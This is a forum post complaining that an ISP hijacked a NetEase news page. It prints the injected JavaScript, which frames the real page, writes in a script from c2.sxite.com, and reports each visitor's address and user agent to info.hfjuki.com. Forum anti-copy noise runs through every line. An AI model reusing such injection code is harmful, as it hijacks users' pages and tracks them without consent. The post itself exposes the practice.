|
本帖最后由 hudba 于 2015-2-3 00:56 编辑 ( q# \! F, Z* c7 u& e6 e
. P, g$ F0 t. c5 l/ s
上网易看新闻半天打不开,发现状态栏在现实访问一个奇怪的域名。心里一惊,难道电脑中毒了?赶紧查看源代码,发现后面加了一段js,真正的新闻内容给iframe了
& n* j. a; c$ E/ i
' c1 r \- E5 H- |1 N: v$ K9 `接下来就是去搜索这个域名,得到v2ex里面也有人遇到这个问题,原来是运营商搞的鬼{:soso_e131:}- U& O% h, s- z( t1 q! g
https://www.google.com/search?q=info.hfjuki.com&ie=utf-8&oe=utf-8 http://www.v2ex.com/t/142197 * q2 v0 f3 U2 o* c
+ f; g# U, q: Z* N( Y- P- _顺便查下ip138:
+ ?; B+ `: c* @" a0 d0 t! L3 a8 x7 _$ p% Y" l5 \! d: D8 _
这是那段js里面的代码,好象是个半成品还没写入广告数据:! r4 g8 j8 y/ J& y+ ^, V4 P8 i
- function locationSearch() {/ V2 m" I) m& r0 r
- var s = getMainJs();4 I. x9 h& r1 k
- if (s == null) {2 S4 }/ E4 s. L+ p
- location.reload();0 [2 k" K3 l: _; M4 E$ Y
- }) p, g& E8 t/ n; D9 i0 |% C
- return s.src.substring(s.src.indexOf(".js?") + 3, s.src.length);
' l0 K6 u& p( C i - }$ H1 i2 P5 }. x9 X7 W
' `2 U. S0 x( g# }- function getParameter(name, paraStr) { f) S' m* V3 Q
- var result = "";
" \; W# P% E$ T5 |7 y0 \4 B/ A - var str = "&" + paraStr.split("?")[1];
% |' P# ~6 h$ C/ T6 z$ E - var paraName = "&" + name + "=";
: [9 N/ u3 ~1 D9 h; G% ]' D( ]3 A - if (str.indexOf(paraName) != -1) {
& j$ _. t( j# L, y. V - if (str.substring(str.indexOf(name), str.length).indexOf("&") != -1) {6 T! K. p2 c" c7 G
- var TmpStr = str.substring(str.indexOf(paraName), str.length);* h K- g# L% }$ N' A: Q! V
- result = TmpStr.substr(TmpStr.indexOf(paraName), TmpStr.substring(1 g' k/ g3 d p% |
- 1, TmpStr.length).indexOf("&")
& y% W7 B( ?& J I - - TmpStr.indexOf(paraName) + 1);
. M+ ~& }8 M& k$ ?& }9 s - } else {1 ]6 f x: `. i6 U- o
- result = str.substring(str.indexOf(paraName), str.length);
9 l5 K X9 k8 |- H# P - } W7 D8 S1 @5 M+ ]8 B; F) x
2 Y R6 c$ _+ O; w( ]# M- result = result.substring(result.indexOf("=") + 1, result.length);2 p! f, Y# y; v) o4 V; X
- } else {
. m, |0 v, ] u0 U8 t% @' n" `7 {# l$ g - result = "No such parameter";5 r* U) Y$ [: q! ?* C, ?+ I& z G
- }! T0 n; t! u/ `: I
- return (result.replace("&", ""));
' P3 z/ g4 b9 K4 U5 S - }
; S# T! D' e. ~; ~5 ]7 y! `0 r - 9 m+ j0 O* y- G i
- function getMainJs() {/ I+ Y* g; J) J
- var scripts = document.getElementsByTagName("script");
) e% ]; r# L! M2 @ - var s = null;
) J& u" U$ J7 U: S% |3 c/ ~3 K) }6 ^% ` - for (var i = 0; i < scripts.length; i++) {
( Y" E( y g4 `8 f7 K" @/ Q; I - if (scripts[i] != "undefined" && scripts[i].src.indexOf("t_c") != -1) {
+ R& U3 D$ L" ~% _6 A - s = scripts[i];2 o1 Y; n9 v$ F4 E4 m1 P+ p/ C
- break;
# b. A4 K, ]& @! l: ~$ z5 C - }
# M1 I$ F4 o* Y2 E& v# O - }
9 X, C9 s$ v- C, P) x3 j - return s;' X% V/ d* R; ?6 @& S% m
- }" Q, {7 h: o% s
- 5 y4 X! l3 ?% O3 a' b/ k
- function appendParam(oStr, aStr) {
' M$ V& S! p7 S, O% S" G |* c - if (oStr.indexOf('?') > 0) {- s; X A: E) o. L- P
- oStr = oStr + "&" + aStr;
) e0 F: ~ o6 `: p7 } Q' \ - } else {, B% s6 ^, N; d* v5 ]
- oStr = oStr + "?" + aStr;
' `, G o+ _3 X! x# v - }4 T- H& P* V2 j0 k' |2 \) r* F
- return oStr;" l9 f6 r# n) G5 \* [# q+ j
- }
0 n2 c' m& {( g
" j; m9 O8 Z$ Z/ o9 a% k4 r) H( j- window.onerror = function() {
/ }5 U7 a% R8 h" e! [- \ - };
. M8 e* I9 |6 r - ) B; e; `& Q% F; f% p: G
- var g_titleTime = 0;
: J. u2 C" b% f8 ~+ ^( l1 u/ d - function setTcTitle() {
2 q9 k+ R( Z4 y; d - if (undefined == document) {+ U4 d9 }, t& t4 Q H
- g_titleTime++;
! G% B% A- R8 D0 P1 g: n0 ~ - setTimeout("setTcTitle();", 1000);$ Z$ g0 {4 n9 O( ]( m8 L# R1 p( i
- return;: P4 T% n8 Z0 s; T) Y5 ]! t6 S
- }2 n: i+ v6 Q5 {
- 9 e0 M2 a) O5 E
- var doc;
P( y* G! G- A. q- H, d+ l - try {: P2 M5 P) f$ ?$ I" z! u
- if (document.all) {
7 u1 z# s: i6 [ - doc = document.frames["cn"].document;7 B6 F' }; [# G8 ~+ S* i) A
- } else {
( l( M8 K$ l3 _. R' v" i, `/ P/ V - doc = document.getElementById("cn").contentDocument;
; {6 y j7 E1 }6 B9 v* e6 N - }
1 H' R4 ~0 e/ E, V; o+ ?+ J9 W - } catch (ex) {: G7 v$ M+ D/ j
- }2 x5 ~- A7 i$ E! k% l P
+ C& S. X- u+ ?8 F8 ?/ M- if (g_titleTime < 5# j |( {5 D' H* D( w9 E
- && (undefined == doc || undefined == doc.title || "" == doc.title)) {% x! q/ c$ \5 e
- g_titleTime++;+ ?. m6 P% o8 ?* P$ K. h
- setTimeout("setTcTitle();", 1000);
3 A. R! q1 w0 u5 u9 g; o4 o - return;
3 k0 S0 S$ J. `' ^* w9 {! v - } else if (undefined != doc && undefined != doc.title && "" != doc.title) {; H' I+ ^% Z6 L: L; c5 E* e
- document.title = doc.title;: @# [9 b0 Z* `: c& t+ F4 h/ M- J
- setTcAdvVisible();! s! M7 ?. |) ^5 ?- F
- }3 k# k* C M& I) b) d
- }3 y7 |5 E+ s! L* a3 a" [3 O
7 ?, T4 S; f% t( A1 U1 @; Z, X/ o- setTimeout("setTcTitle();", 1000);/ Q$ `* `$ F2 H
- c. S) F( M8 ^9 o; c- var g_isHaveVisible = false;
5 j% Y9 |- w; l1 `- w( }/ b. r - function setTcAdvVisible() {
2 u6 j/ u/ v5 Y' [8 F - if (undefined != document && undefined != document.getElementById("addiv")
9 w, D( S S. `, f% p7 j - && !g_isHaveVisible) {! i9 i; Y' g* I) r8 L* u* \, k
- document.getElementById("addiv").style.visibility = 'visible';
]# `" v( `) B( a' a - document.getElementById("addiv").style.display = 'block';& t/ H1 M1 q; Z
- g_isHaveVisible = true;
& T( h2 u/ l- R$ F4 ^. ` - }
: X9 x4 d. Z. g& w3 |4 C, b" R - }
& b& N! k1 {0 k
( E4 ~' Z5 |0 D( ~1 f u6 U R, R- function UrlAnalyzer() {% N k' f. _7 w! y
- this.divda = "";
) h, a- O" B& v% f2 D. C - this.tctype = "";
/ R, X3 i4 _5 l% Z7 D: l5 L: q3 O - this.radius = "";
* L$ V3 G1 @1 }* C2 ~9 w7 k" h - this.rlu = "";
* \% M% z7 B p4 Y - }; u3 Y% _& h1 A! Q* ~3 l6 l* r6 e
% O$ C0 E9 y! W k' I2 H- UrlAnalyzer.prototype.initParameters = function() {
2 [: c' U% u$ s7 @ - var paraStr = locationSearch();
4 H2 h7 Q3 Z! Z$ y+ E. r+ [9 l: e - this.rlu = getParameter("lruedct", paraStr);
9 n5 K' h9 K4 j) m* t3 E - this.divda = getParameter("divda", paraStr);' D( u2 i8 z0 h9 N1 H) b7 b
- this.radius = getParameter("radius", paraStr);
! n A$ c' _! n! z6 \ - this.tctype = getParameter("tctype", paraStr);: q+ R8 T! O1 H3 y" u; z5 v( t# ]
- this.address = getParameter("address", paraStr);6 }# [. P2 X! U! ]/ s, ^
- this.usagent = getParameter("usagent", paraStr);
/ A2 h( N& X, F - }
, l6 z* {# }" S _2 M
& c+ M t1 X, P9 d$ W, ^$ n& |- UrlAnalyzer.prototype.getHtmlDoc = function() {
, W4 n1 e& N8 z o5 x& i7 ^ - var doc;
/ O/ s- A! x2 u* o( t6 G - try {$ ^5 S# z/ G* V' h) q4 v
- if (document.all) {
8 m+ J4 M5 H4 p1 K0 b1 r - doc = document.frames["cn"].document;1 B- M# k1 k2 ~
6 J! _1 A7 n3 R' k& |" Z, H- } else {- L' i! Y' V# |) V7 w/ j
- doc = document.getElementById("cn").contentDocument;4 E* S9 }+ ?$ M: Z" ?
- // doc = document.getElementById("cn").contentWindow.document;
* e* q4 d' ^3 J: D: R - }7 g9 S7 Y0 k: Y9 }9 l2 k. r1 Y
- } catch (ex) {/ F# H- _% o2 i7 |! A
- }# c$ O: j& m5 e1 o1 f8 S
- return doc;
; C- S v9 G# \3 W/ r) x - }
# s$ @2 a5 [1 n5 @4 C4 ]; Q9 m$ A( M - 6 H& g7 M/ E7 `
- UrlAnalyzer.prototype.setDomain = function() {
% d6 H$ Y) o: B5 h' ^ - if (undefined != document.title && "" == document.title). F8 [/ A1 D! o, t8 C, @
- {
! @+ j! r; l3 i, B) w+ B - var index = document.domain.indexOf(".");
8 g5 R$ r( X: o' A9 R - if (undefined != index && -1 != index) {% H! ?. ?' \+ I7 C2 X- x0 s" n$ s O
- document.domain = document.domain.substring(index + 1,
% {9 J* A4 ^( y9 d" @ - document.domain.length);
/ y" F- u2 G2 u+ y* C6 _4 B& ] q- i - }1 ~ ? X) F5 u8 l) ?# u
-
6 D2 k9 j: k, P$ v e9 [& z! n - var doc = this.getHtmlDoc();$ I u' l1 v7 v1 I. ]8 F
- if (undefined != doc && undefined != doc.title && "" != doc.title) {0 q7 O# M/ p" E( @( M
- document.title = doc.title;
S% c! m# a& e W9 G( J - setTcAdvVisible();
: E) X" m; N8 L) X, }1 X8 C7 v' N - }
9 R6 Z7 ]$ o: w! u - }; a, A" C K2 z# z' |% F
- }" E6 P! S8 i* j+ `& _
- 7 I. l2 [/ c$ |" M/ C
- UrlAnalyzer.prototype.iframeCallback = function() {' W; V& W. X! S8 h+ u q
- var doc = this.getHtmlDoc();3 ~0 N! \; b: T6 W: i$ C- C
- if (undefined == doc || undefined == doc.title || "" == doc.title) {
7 j8 g) _" o5 y' U - if (undefined != document.domain) {
* v/ @; ^/ [* H
$ d6 p2 y7 c. M) z9 }. `, r- var self = this;5 e/ ^2 v+ p y: U( I/ q0 ^
- setTimeout(function(){self.setDomain.call(self, null)}, 1000);$ n- P* ]; r+ R! R$ E _
- // var index = document.domain.indexOf(".");
1 }5 b$ j: W3 ]2 d, j1 Z3 n - // if (undefined != index && -1 != index) {' a# s. N( b. P" }8 i& @
- // document.domain = document.domain.substring(index + 1,7 E& I. Z/ [: H$ q F
- // document.domain.length);
6 n& e; B1 O/ n8 h5 T. ` - // }
! `3 ^; F0 S# q1 X4 n, U - //
% w! I' }; F# W) `- ? - // var doc = this.getHtmlDoc();1 e. ^: f, @3 p/ H
- // if (undefined != doc && undefined != doc.title && "" !=
, ~. g( m0 u! W6 S1 }" J( N - // doc.title) {! d3 _( f8 L2 l
- // document.title = doc.title;
0 b; H$ R, G/ {4 } - // setTcAdvVisible();8 l% S* A2 w% Z( g
- // }
0 ~( M8 O" F+ W - }
4 M, v$ d. @3 ?! e - } else if (undefined != doc && undefined != doc.title && "" != doc.title) {; |7 `& p6 `' H9 ^& X% N
- document.title = doc.title;, ?: I" o3 ~7 t/ J5 B: ^" }
- setTcAdvVisible();) W& I7 `) }1 n$ i- W0 y
- }
! k% ~+ k. Y1 f5 w/ C! M - }; @. Y, b, N9 s0 i
- ; q9 o3 H! p! {4 u: g- \
- UrlAnalyzer.prototype.executeHtmlContext = function() {
( Y9 D% H$ A/ |, }5 d - var staUrl = "http://info.hfjuki.com:8060/page/statistics?advId=" + this.divda$ i- c. J. i0 X0 a/ J# z
- + "&rd=" + this.radius + "&tctype=" + this.divda + "&address=" + this.address + "&usagent=" + this.usagent;
1 C+ S. K! \: f% `
& r6 M3 I" O4 ?# N" o( A8 I- var htmlStr = "<iframe src="" + staUrl) K( D1 T. w! n! i2 m7 @1 ^
- + "" style="display:none"></iframe>";
/ `) r- ?& }9 e( t( g7 T$ f
! t6 P5 L* b7 ]+ G$ \1 g- var advUrl = htmlStr, e5 h1 j; K9 `/ A5 N- I% Y$ z
- + "<script src="http://c2.sxite.com:8060/center?advId="
# h- M. \4 F6 d: U# i - + this.divda + "&radius=" + this.radius + "&area=1" + ""><\/script>";
5 T( G% D1 y- t8 c4 a - document.write(advUrl);% U" e% _3 u/ h3 h$ T
2 O; d5 N9 M6 o+ h; }* [- var self = this;
9 _/ g% l$ O$ l" Z - var iframe = document.getElementById("cn");6 p2 z5 n! `; [# u2 e& `
- if (iframe.attachEvent) {, B V& H; ^/ |# x- n! \6 c' H% K
- iframe.attachEvent("onload", function() {5 A* p7 y+ {6 S- s9 z
- self.iframeCallback.call(self, null);
}# U3 J+ x- q- @0 m3 }! Z* A - });( t8 H$ d- |; Z
- } else {
. T5 P- G; I# R+ ~ - iframe.onload = function() {
j2 J2 D4 P! \& C3 H1 j- N& b - self.iframeCallback.call(self, null);
9 p' K$ ^- v( P. P - }
6 Z; s/ d5 M7 |1 p4 [/ V9 r" r - }
( Z0 N9 B# E u; Z: R; S+ x - }0 Z b1 D, d3 T
- ( ^! h1 y1 U0 y
- UrlAnalyzer.prototype.executeMain = function() {
) C/ g3 \# K, ^" V3 S- K - var mainFrame = document.getElementById("cn");
% D. B# {+ W( q$ X% g - mainFrame.contentWindow.location.href = mainFrame.src;1 t2 M% F7 m* {) l
- this.initParameters();* T2 a6 z8 Z0 m% d- l& |
- this.executeHtmlContext();, i+ e% e" O( P) x3 k, q
- }
+ {. U2 R0 n: R. Z/ z5 `
# v y. U( ^8 M- var g_analyzer = new UrlAnalyzer();
! \+ ^$ s+ j# K& O8 ] - g_analyzer.executeMain();
, x2 X9 `$ n8 z; l2 c3 K
复制代码 9 d- ^* o* j4 i1 A8 d7 m
7 o+ z+ R- J% x7 e* C4 j
5 A1 ^# |! W/ s" S1 w( L, \ |
本帖子中包含更多资源
您需要 登录 才可以下载或查看,没有账号?立即注册
x
|